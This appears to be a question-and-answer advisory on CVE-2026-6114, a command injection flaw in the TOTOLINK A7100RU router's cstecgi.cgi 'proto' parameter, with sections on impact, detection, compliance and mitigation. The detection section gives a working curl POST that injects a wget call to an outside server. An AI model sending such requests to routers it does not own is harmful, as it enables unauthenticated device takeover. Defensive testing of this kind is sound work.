Can you explain this vulnerability to me?

CVE-2026-6114 is a remote command injection vulnerability found in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI script cstecgi.cgi, specifically in the function that processes the "proto" parameter. This parameter is not properly sanitized before being used in a system command execution function, allowing an attacker to inject arbitrary operating system commands.

An attacker can send a crafted POST request to the /cgi-bin/cstecgi.cgi endpoint with malicious content in the "proto" parameter. Because the input is passed unsafely to a system call, the router executes the injected commands, enabling the attacker to run arbitrary commands on the device remotely.

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How can this vulnerability impact me? :

This vulnerability allows a remote attacker to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router without any authentication. This can lead to full compromise of the device, including unauthorized access, control over network traffic, installation of malware, disruption of network services, and potential pivoting to other devices on the network.

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How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by sending a crafted POST request to the /cgi-bin/cstecgi.cgi endpoint of the TOTOLINK A7100RU router, specifically targeting the 'proto' parameter with a command injection payload.

For example, a test command could be to inject a harmless command such as 'wget' to see if the router executes it. The proof of concept uses a POST request with JSON data containing the 'proto' parameter set to a command like `wget 192.168.6.1:7777/testpoc`.

You can use curl or similar tools to perform this test. An example curl command might be:

• curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -H "X-Requested-With: XMLHttpRequest" -H "Content-Type: application/json" -d '{"proto":"wget http://yourserver/testpoc"}'

If the router executes the injected command, it indicates the presence of the vulnerability.

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How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The CVE-2026-6114 vulnerability allows remote attackers to execute arbitrary OS commands on affected TOTOLINK A7100RU routers due to improper input sanitization in the cstecgi.cgi CGI script. This type of vulnerability can lead to unauthorized access, data breaches, and potential compromise of sensitive information.

Such security weaknesses can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require organizations to protect personal and sensitive data against unauthorized access and ensure the integrity and confidentiality of systems.

Specifically, exploitation of this vulnerability could result in data exposure or manipulation, violating requirements for data protection, breach notification, and system security controls mandated by these regulations.

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What immediate steps should I take to mitigate this vulnerability?

To mitigate the CVE-2026-6114 vulnerability, immediate steps include restricting remote access to the affected router's management interface, especially blocking access to the /cgi-bin/cstecgi.cgi endpoint.

Additionally, monitor network traffic for suspicious POST requests containing unusual 'proto' parameter values that could indicate exploitation attempts.

If possible, apply any available firmware updates or patches from the vendor that address this command injection vulnerability.

As a temporary measure, consider disabling the CGI Handler component or the vulnerable function if the router's configuration allows.

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